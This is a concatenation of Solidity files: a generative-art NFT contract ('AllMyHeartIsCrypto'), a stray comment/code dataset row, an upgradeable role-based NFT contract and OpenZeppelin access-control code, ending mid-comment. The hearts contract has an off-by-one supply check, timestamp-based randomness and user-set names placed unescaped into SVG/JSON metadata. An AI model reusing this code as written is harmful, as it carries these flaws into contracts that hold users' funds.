* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/*
*/
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract AllMyHeartIsCrypto is ERC721Enumerable, Ownable {
//using Trigonometry for uint16;
string private metadataURI = "";
address public _owned;
uint256 private _currentTokenId = 0;
uint public constant TOKEN_LIMIT = 1024; // 8 for testing, 1024 for prod
uint public constant ARTIST_PRINTS = 32; // 32 for testing, 32 for prod
uint public constant PRICE = 300 * 1000000000000000; // 'finney': 200 * '1000000000000000',
// The beneficiary is SemanticCORD
address public constant BENEFICIARY = 0x5877734C2245BfCbB6e26638c28eBaE48a8a944E;
mapping(uint256=>string) tokenName;
string[] private heartTypes = [
"Loving", // 0
"Beating", // 1
"Thumping", // 2
"Pounding", // 3
"Devoted", // 4
"Adoring", // 5
"Loyal", // 6
"Drumming", // 7
"Spirited", // 8
"Vibrating", // 9
"Knocking", // 10
"Thinking", // 11
"Pulsating", // 12
"Lively", // 13
"Reverberating", // 14
"Pumping", // 15
"Drimming", // 16
"Throbing", // 17
"Thudding", // 18
"Pitter-patter", // 19
"Pit-a-pat", // 20
"Playful", // 21
"Jolly" // 22
];
string[] private characteristic = [
"Peace", // 0
"Love", // 1
"Unity", // 2
"Respect", // 3
"Calmness", // 4
"Harmony", // 5
"Order", // 6
"Balance", // 7
"Symmetry", // 8
"Coordination", // 9
"Compatibility", // 10
"Sympathy", // 11
"Friendship", // 12
"Fellowship", // 13
"Bond", // 14
"Union", // 15
"Togetherness" // 16
];
string[] private feature = [
"Generosity", // 0
"Integrity", // 1
"Loyalty", // 2
"Devotion", // 3
"Loving", // 4
"Kindness", // 5
"Sincerity", // 6
"Self-control", // 7
"Peaceful", // 8
"Faithful", // 9
"Patience", // 10
"Determination", // 11
"Persistence", // 12
"Open-minded", // 13
"Fair", // 14
"Cooperative", // 15
"Optimistic", // 16
"Spiritual" // 17
];
string[] private presence = [
"Tranquil", // 0
"Quiet", // 1
"Pacific", // 2
"Restful", // 3
"Calm" // 4
];
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
// 0xa5409ec958C83C3f309868babACA7c86DCB077c1 <- registerProxyAddress on mainnet
// 0xa5409ec958C83C3f309868babACA7c86DCB077c1 <- rinkeby
// 0x58807baD0B376efc12F5AD86aAc70E78ed67deaE <- polygon
constructor (string memory name_, string memory symbol_, string memory uri) ERC721(name_, symbol_) {
//proxyRegistryAddress = _proxyRegistryAddress;
_owned = msg.sender;
//super._mint(msg.sender, totalSupply());
metadataURI = uri;
for(uint i=0;i<=ARTIST_PRINTS;i++)
_mintTo(msg.sender);
}
// A Heart To Start The Beat,❤️
// A Heart Of Crypto Beat,❤️
// Heart of Crypto,❤️,0xa5409ec958C83C3f309868babACA7c86DCB077c1
// At the heart of,@❤️,0xa5409ec958C83C3f309868babACA7c86DCB077c1,https://
// The Heartbeat Of,@❤️,0xa5409ec958C83C3f309868babACA7c86DCB077c1,https://
// polygon
// The Heartbeat Of,@❤️,0x58807baD0B376efc12F5AD86aAc70E78ed67deaE,https://
// fanthom
// The Heartbeat Of,@❤️,0x0000000000000000000000000000000000000000,https://
// The Heartbeat Of,@❤️,https:// // https://ftmscan.com/address/0xf9a321639b2aa23d5641bc52390d8963c48de908
function _mintTo(address newOwner) internal
{
super._mint(newOwner, _getNextTokenId());
}
function mint(address toAddress) payable public {
require( totalSupply() < 1025,"token limit");
uint amount = 0;
if (totalSupply() >= ARTIST_PRINTS) {
amount = PRICE;
require(msg.value >= amount, "!value 200 finney");
}
_mintTo(toAddress);
if (msg.value > amount) {
payable(msg.sender).transfer(msg.value - amount); // send back whats more then list price
}
if (amount > 0) {
payable(BENEFICIARY).transfer(amount); // send rest to BENEFICIARY
}
}
/**
* @dev calculates the next token ID based on totalSupply
* @return uint256 for the next token ID
*/
function _getNextTokenId() private view returns (uint256) {
return totalSupply() + 1;
}
/*
function supportsFactoryInterface() override public pure returns (bool) {
return true;
}*/
function setMetadata(string memory uri) public
{
require(msg.sender==_owned,"!owned");
metadataURI = uri;
}
function setTokenName(uint256 tokenId, string memory newName) public
{
require(msg.sender==ownerOf(tokenId),"!owner");
tokenName[tokenId] = newName;
}
function contractURI() public view returns (string memory) {
return metadataURI; //"https://www.mediaatlas.si/heartofcrypto/metadata.json";
/*
return string(abi.encodePacked(
'{"name": "Hearts Of Crypto",',
'"description": "Transformative representations of time and love, a generative art expressing always changing omnipresent pulse of life",',
'"image": "https://io/image.png",',
'"external_link": "https://.io",',
'"seller_fee_basis_points": 200,',
'"fee_recipient": "0x340281d051B6F0BBE305a352967419d05D4dFfa6"}'
));
*/
}
/*
function mintLink(uint256 prevStoryId), string memory story) public {
_mintToAddress(msg.sender, prevStoryId, story);
}*/
// GENERIC helpers
// from: https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/utils/Strings.sol
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
// from: https://ethereum.stackexchange.com/questions/31457/substring-in-solidity/31470
function substring(string memory str, uint startIndex, uint endIndex) internal pure returns (string memory) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex-startIndex);
for(uint i = startIndex; i < endIndex; i++) {
result[i-startIndex] = strBytes[i];
}
return string(result);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory name = string(abi.encodePacked(' heart for ', tokenName[tokenId], " #", toString(tokenId)));
string memory description = " Heart";
string memory rawSVG = generateImage(tokenId);
string memory image = Base64.encode(bytes(rawSVG)); //generateBase64Image(tokenId);
string memory attributes = string(abi.encodePacked('","attributes":[{"trait_type":"Feature", "value": "',
getFeature(tokenId),
'"},{"trait_type":"Characteristic", "value": "',
getCharacteristic(tokenId),
'"},{"trait_type":"Presence", "value": "'
,getPresence(tokenId),'"}]}'));
return string(
abi.encodePacked(
'data:application/json;base64,',
Base64.encode(
bytes(
abi.encodePacked(
'{"name":"', getType(tokenId), name,
'", "description":"', getType(tokenId), description,
'","image_data":"data:image/svg+xml;base64,',
image,
'","image":"data:image/svg+xml;base64,',
image,
attributes
)
)
)
)
);
}
function getType(uint256 tokenId) public view returns (string memory) {
return heartTypes[tokenId%23];
}
function getFeature(uint256 tokenId) public view returns (string memory) {
return feature[tokenId%18];
}
function getCharacteristic(uint256 tokenId) public view returns (string memory) {
return characteristic[tokenId%17];
}
function getPresence(uint256 tokenId) public view returns (string memory) {
return presence[tokenId%5];
}
function generateBase64Image(uint256 tokenId) public view returns (string memory) {
return Base64.encode(bytes(generateImage(tokenId)));
}
function generateImage(uint256 tokenId) public view returns (string memory) {
uint morph = uint(bytes32(keccak256(abi.encodePacked(block.timestamp)))); // we are changing with time
uint16 t = uint16(tokenId+morph);
int s = sin(t); // -32767 to 32767
uint256 shifts = uint256(s+32767);
uint256 shiftt = uint256(t+shifts);
// mutate the heart with tokenId
string memory tmod1 = toString(t%4);
string memory tmod2 = toString(t%5);
string memory tmod3 = toString(shifts%9);
string memory heart = string(abi.encodePacked('<path d="M0 0 v0 h200 a10',tmod1,',10',tmod2,' 90 0,1 0,200 a10',tmod2,',10',tmod1,' 20',tmod1,' 0,1 -20',tmod2,',0 z"/>'));
string memory heart2 = string(abi.encodePacked('<path d="M0 0 v0 h200 a10',tmod3,',10',tmod1,' 90 0,1 0,200 a10',tmod3,',10',tmod2,' 20',tmod3,' 0,1 -20',tmod1,',0 z"/>'));
string memory color = string(abi.encodePacked('rgba(',
toString(uint256((t % 127)+127)),',',
toString(uint256(30+(shifts+tokenId) % 151)),',',
toString(uint256(20+(shifts % 171))),',0.',
toString(uint256(shifts % 37 + 15)),
')'));
// h1
heart = string(abi.encodePacked(heart,'<g class="bl" fill="',color,'" transform="scale(1.0',
toString(shifts%9),
'3) translate(-',toString(shifts%9),',-',toString(shifts%9),')">',
heart,
'</g>'));
//h2
heart = string(abi.encodePacked(heart, '<g class="bl" fill="',color,'" transform="scale(1.0',
toString(shiftt%9),
'8) translate(-',toString(shiftt%9),',-',toString(shiftt%9),')">',
heart2,
'</g></g>'));
//hearts
heart = string(abi.encodePacked(heart, '<g transform="scale(0.1)">'));
//string memory hearts = '<g transform="scale(0.1)">';
for (uint x = 0; x<5; x++) {
for (uint y = 0; y<5; y++) {
tmod3 = toString(((x+1)*(y+1)*shiftt)%360);
heart = string(abi.encodePacked(heart, '<g fill="',color,'" class="bs" transform="translate(', toString(500+x*750),',', toString(500+y*750),') rotate(',tmod3,')">', heart2,'</g>'));
}
}
heart = string(abi.encodePacked(heart, '</g>'));
heart = string(abi.encodePacked(heart, '<text x="50%" y="375" dominant-baseline="middle" text-anchor="middle" style="direction:rtl;font-size:28px;font-family:Gamja Flower">',
tokenName[tokenId],
'</text>'));
return string(
abi.encodePacked(
'<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 400 400"><defs><style type="text/css">@import url("https://fonts.googleapis.com/css?family=Indie+Flower|Gamja+Flower");</style></defs><style>.b {fill:red;} .bo {mix-blend-mode:overlay} .bs {mix-blend-mode:hard-light;stroke-dasharray:5;stroke:#90000011; stroke-width:121;} .bl {mix-blend-mode:color-dodge;stroke-dasharray:6;stroke:#ffffff05;stroke-width:200;}</style><rect width="100%" height="100%" fill="orange"/>',
'<g class="b" transform="scale(1) rotate(-13',
toString(shifts%8),
') translate(-390,-100)">',
heart,
'</svg>'
)
);
}
function isApprovedForAll(address owner, address operator) override public view returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
/*if(proxyRegistryAddress!=address(0))
{
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
}*/
return super.isApprovedForAll(owner, operator);
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
// Table index into the trigonometric table
uint constant INDEX_WIDTH = 4;
// Interpolation between successive entries in the tables
uint constant INTERP_WIDTH = 8;
uint constant INDEX_OFFSET = 12 - INDEX_WIDTH;
uint constant INTERP_OFFSET = INDEX_OFFSET - INTERP_WIDTH;
uint16 constant ANGLES_IN_CYCLE = 16384;
uint16 constant QUADRANT_HIGH_MASK = 8192;
uint16 constant QUADRANT_LOW_MASK = 4096;
//uint constant SINE_TABLE_SIZE = 16; // INTERP_WIDTH*2
// constant sine lookup table generated by gen_tables.py
// We have no other choice but this since constant arrays don't yet exist
uint8 constant entry_bytes = 2;
bytes constant sin_table = "\x00\x00\x0c\x8c\x18\xf9\x25\x28\x30\xfb\x3c\x56\x47\x1c\x51\x33\x5a\x82\x62\xf1\x6a\x6d\x70\xe2\x76\x41\x7a\x7c\x7d\x89\x7f\x61\x7f\xff";
/**
* Convenience function to apply a mask on an integer to extract a certain
* number of bits. Using exponents since solidity still does not support
* shifting.
*
* @param _value The integer whose bits we want to get
* @param _width The width of the bits (in bits) we want to extract
* @param _offset The offset of the bits (in bits) we want to extract
* @return An integer containing _width bits of _value starting at the
* _offset bit
*/
function bits(uint _value, uint _width, uint _offset) pure internal returns (uint) {
return (_value / (2 ** _offset)) & (((2 ** _width)) - 1);
}
function sin_table_lookup(uint index) pure internal returns (uint16) {
bytes memory table = sin_table;
uint offset = (index + 1) * entry_bytes;
uint16 trigint_value;
assembly {
trigint_value := mload(add(table, offset))
}
return trigint_value;
}
/**
* Return the sine of an integer approximated angle as a signed 16-bit
* integer.
*
* @param _angle A 14-bit angle. This divides the circle into 16384
* angle units, instead of the standard 360 degrees.
* @return The sine result as a number in the range -32767 to 32767.
*/
function sin(uint16 _angle) public pure returns (int) {
uint interp = bits(_angle, INTERP_WIDTH, INTERP_OFFSET);
uint index = bits(_angle, INDEX_WIDTH, INDEX_OFFSET);
bool is_odd_quadrant = (_angle & QUADRANT_LOW_MASK) == 0;
bool is_negative_quadrant = (_angle & QUADRANT_HIGH_MASK) != 0;
if (!is_odd_quadrant) {
//index = SINE_TABLE_SIZE - 1 - index;
index = (INTERP_WIDTH*2) - 1 - index;
}
uint x1 = sin_table_lookup(index);
uint x2 = sin_table_lookup(index + 1);
uint approximation = ((x2 - x1) * interp) / (2 ** INTERP_WIDTH);
int sine;
if (is_odd_quadrant) {
sine = int(x1) + int(approximation);
} else {
sine = int(x2) - int(approximation);
}
if (is_negative_quadrant) {
sine *= -1;
}
return sine;
}
}
|
send back whats more then list price
|
payable(msg.sender).transfer(msg.value - amount);
| 1,775,857
|
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// contracts/ERC721PresetMinterPauserAutoIdUpgradeableCustomized.sol
// SPDX-License-Identifier: None
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// import "@openzeppelin/contracts-upgradeable/proxy/utils/ClonesUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
/**
* !!! Notice ERC721PresetMinterPauserAutoIdUpgradeableCustomized is a fork of ERC721PresetMinterPauserAutoIdUpgradeable
* its been adapted to support the ERC721URIStorageUpgradeable
* folowing IERC721Metadata-tokenURI metadata will be stored in IPFS
*
* @dev {ERC721} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
* - token ID and URI
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract UpgradeableNFT is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC721EnumerableUpgradeable, ERC721BurnableUpgradeable, ERC721PausableUpgradeable, ERC721URIStorageUpgradeable {
function initialize(string memory name, string memory symbol, string memory baseTokenURI) public virtual initializer {
__ERC721PresetMinterPauserAutoId_init(name, symbol, baseTokenURI);
}
using CountersUpgradeable for CountersUpgradeable.Counter;
// using SafeMathUpgradeable for uint256;
// using StringsUpgradeable for string;
enum TokenState { Pending, ForSale, Sold, Transferred, Beta, Signer, Gov, Team, Founder, Obitel, Roads, Solomonic, Partreon, Process, NeedKYC, NeedSign, NeedDocument, Deprecated, Bonus, OnLoanDeal }
enum Category {FOCUS, ALLURE, INSPIRATION, EXCITEMENT, ELEMENTS, GEMINI, SINGULAR, REF_FOCUS, REF_ALLURE, REF_INSPIRATION, REF_EXCITEMENT, REF_ELEMENTS, REF_GEMINI, REF_SINGULAR, EARN, FOUNDER_ROLE, FEE_ROLE, OR_SOLOMONIC, OR_PARTREON, OR_PRIMATECH, OBITEL, ROADS, OR_FEE, OR_NFT, FUN, OR_RELAY}
// struct Price {
// uint256 tokenId;
// uint256 price;
// string metaId;
// TokenState state;
// string Category;
// // TokenCategory state;
// }
// mapping(uint256 => Price) public items;
// uint256 public id;
// address payable feeAddress;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant FOUNDER_ROLE = keccak256("FOUNDER_ROLE");
bytes32 public constant OBITEL_ROLE = keccak256("OBITEL_ROLE");
bytes32 public constant ROADS_ROLE = keccak256("ROADS_ROLE");
bytes32 public constant LEGAL_ROLE = keccak256("LEGAL_ROLE");
bytes32 public constant RSIVAKOV_ROLE = keccak256("RSIVAKOV_ROLE");
bytes32 public constant ZHANNA_ROLE = keccak256("ZHANNA_ROLE");
bytes32 public constant DANA_ROLE = keccak256("DANA_ROLE");
bytes32 public constant ARTSH_ROLE = keccak256("ARTSH_ROLE");
bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE");
bytes32 public constant AUDIT_ROLE = keccak256("AUDIT_ROLE");
bytes32 public constant SOLOMONIC_ROLE = keccak256("SOLOMONIC_ROLE");
bytes32 public constant PARTREON_ROLE = keccak256("PARTREON_ROLE");
bytes32 public constant PRIMATECH_ROLE = keccak256("PRIMATECH_ROLE");
bytes32 public constant NFT_ROLE = keccak256("NFT_ROLE");
bytes32 public constant FEE_ROLE = keccak256("FEE_ROLE");
bytes32 public constant GOLD_ROLE = keccak256("GOLD_ROLE");
bytes32 public constant BLINK_BEACON_ROLE = keccak256("BLINK_BEACON_ROLE");
bytes32 public constant BLINK_ORACLE_ROLE = keccak256("BLINK_ORACLE_ROLE");
CountersUpgradeable.Counter private _tokenIdTracker;
string private _baseTokenURI;
string private _contractURI;
// event ErrorOut(string error, uint256 tokenId);
// event BatchTransfered(string metaId, address[] recipients, uint256[] ids);
// event Minted(uint256 id, string metaId);
// event BatchBurned(string metaId, uint256[] ids);
// event BatchForSale(uint256[] ids, string metaId);
// event Bought(uint256 tokenId, string metaId, uint256 value);
// event Destroy();
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* Token URIs will be set with in IPFS persisted metadata ipfsHash value.
* See {ERC721-tokenURI}.
*/
function __ERC721PresetMinterPauserAutoId_init(string memory name, string memory symbol, string memory baseTokenURI) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
__ERC721_init_unchained(name, symbol);
__ERC721Enumerable_init_unchained();
__ERC721Burnable_init_unchained();
__Pausable_init_unchained();
__ERC721Pausable_init_unchained();
__ERC721PresetMinterPauserAutoId_init_unchained(baseTokenURI);
}
function __ERC721PresetMinterPauserAutoId_init_unchained(string memory baseTokenURI) internal initializer {
_baseTokenURI = baseTokenURI;
_contractURI = baseTokenURI;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
_setupRole(FOUNDER_ROLE, _msgSender());
_setupRole(OBITEL_ROLE, _msgSender());
_setupRole(ROADS_ROLE, _msgSender());
_setupRole(LEGAL_ROLE, _msgSender());
_setupRole(RSIVAKOV_ROLE, _msgSender());
_setupRole(ZHANNA_ROLE, _msgSender());
_setupRole(DANA_ROLE, _msgSender());
_setupRole(ARTSH_ROLE, _msgSender());
_setupRole(SIGNER_ROLE, _msgSender());
_setupRole(AUDIT_ROLE, _msgSender());
_setupRole(SOLOMONIC_ROLE, _msgSender());
_setupRole(PARTREON_ROLE, _msgSender());
_setupRole(PRIMATECH_ROLE, _msgSender());
_setupRole(NFT_ROLE, _msgSender());
_setupRole(FEE_ROLE, _msgSender());
_setupRole(BLINK_BEACON_ROLE, _msgSender());
_setupRole(BLINK_ORACLE_ROLE, _msgSender());
}
// function contractURI() public view returns (string memory) {
// return "https://metadata-url.com/my-metadata";
// }
/**
* @dev returns _baseTokenURI value of 'ipfs://' .
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI();
}
/**
* @dev returns _baseTokenURI value of 'ipfs://' .
*/
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
/**
* @dev Creates a new token for `to`. Its token ID will be automatically
* assigned (and available on the emitted {IERC721-Transfer} event), and the token
* URI autogenerated based on the base URI passed at construction.
*
* an IpfsHash is passed as the IERC721Metadata-tokenURI, metadata is persisted in IPFS before minting
* See {ERC721-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, string memory hash) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
uint256 newItemId = _tokenIdTracker.current();
_mint(to, newItemId);
ERC721URIStorageUpgradeable._setTokenURI(newItemId, hash);
_tokenIdTracker.increment();
}
function _burn(uint256 tokenId) internal override(ERC721URIStorageUpgradeable, ERC721Upgradeable) {
ERC721Upgradeable._burn(tokenId);
ERC721URIStorageUpgradeable._burn(tokenId);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override(ERC721URIStorageUpgradeable, ERC721Upgradeable) returns (string memory) {
// return Strings.strConcat(
// _baseTokenURI(),
// Strings.uint2str(tokenId)
// );
return ERC721URIStorageUpgradeable.tokenURI(tokenId);
}
/**
* @dev Add Token URI On IPFS by TokenId
*/
function _setTokenURI(uint256 tokenId, string memory hash) internal virtual override {
ERC721URIStorageUpgradeable._setTokenURI(tokenId, hash);
}
function setBaseTokenURI(string memory baseTokenURI) public virtual {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "setBaseTokenURI: must have ADMIN role to change this");
_baseTokenURI = baseTokenURI;
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
/**
* @dev Add Token URI On IPFS by TokenId
*/
function _setContractURI(string memory hash) public virtual {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "setBaseTokenURI: must have ADMIN role to change this");
_contractURI = hash;
}
/**
* @dev Pauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721PausableUpgradeable) {
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, ERC721Upgradeable, ERC721EnumerableUpgradeable) returns (bool) {
return super.supportsInterface(interfaceId);
}
//TODO: Нужно Вынести в библиотеки
// function batchTransfer(address giver, address[] memory recipients, uint256[] memory values) public virtual {
// require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "batchTransfer: must have ADMIN role to change this");
// for (uint256 i = 0; i < values.length; i++) {
// transferFrom(giver, recipients[i], values[i]);
// items[values[i]].state = TokenState.Transferred;
// }
// emit BatchTransfered(items[values[0]].metaId, recipients, values);
// }
// function batchMint(address to, uint256 amountToMint, string memory metaId, uint256 setPrice, bool isForSale, string enum ) public virtual {
// require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
// require(amountToMint <= 112, "Over 112");
// for (uint256 i = 0; i < amountToMint; i++) {
// id = id.add(1);
// items[id].price = setPrice;
// items[id].metaId = metaId;
// if(isForSale == true){
// items[id].state = TokenState.ForSale;
// } else {
// items[id].state = TokenState.Pending;
// }
// _mint(to, id);
// emit Minted(id, metaId);
// }
// }
// function batchBurn(uint256[] memory tokenIds) public {
// require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
// for (uint256 i = 0; i < tokenIds.length; i++) {
// _burn(tokenIds[i]);
// }
// emit BatchBurned(items[tokenIds[0]].metaId, tokenIds);
// }
uint256[48] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable {
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping (bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
